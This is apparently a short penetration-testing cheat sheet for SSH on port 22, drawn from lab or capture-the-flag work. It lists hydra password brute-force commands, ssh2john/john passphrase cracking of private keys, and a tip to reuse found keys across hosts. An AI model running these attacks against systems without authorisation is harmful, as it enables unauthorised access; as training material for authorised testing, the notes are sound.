🔑 SSH — Port 22

Tunneling/pivoting with SSH is in pivoting. Cracking an id_rsa is in hash-cracking.

Connect / auth

sshpass -p 'password' ssh emily@pilgrimage.htb
ssh -v user@host                         # verbose: shows banner / auth methods
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.159.125:/git-server

Brute-force

hydra -l george -P /usr/share/wordlists/rockyou.txt ssh://192.168.232.201 -s 2222
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.189.35 -t 4 ssh

More: password-attacks.

Private key cracking

ssh2john id_rsa > ssh.hash
john --wordlist=rockyou.txt ssh.hash

Found an id_rsa? chmod 600 it before use. Reuse keys/passphrases across hosts.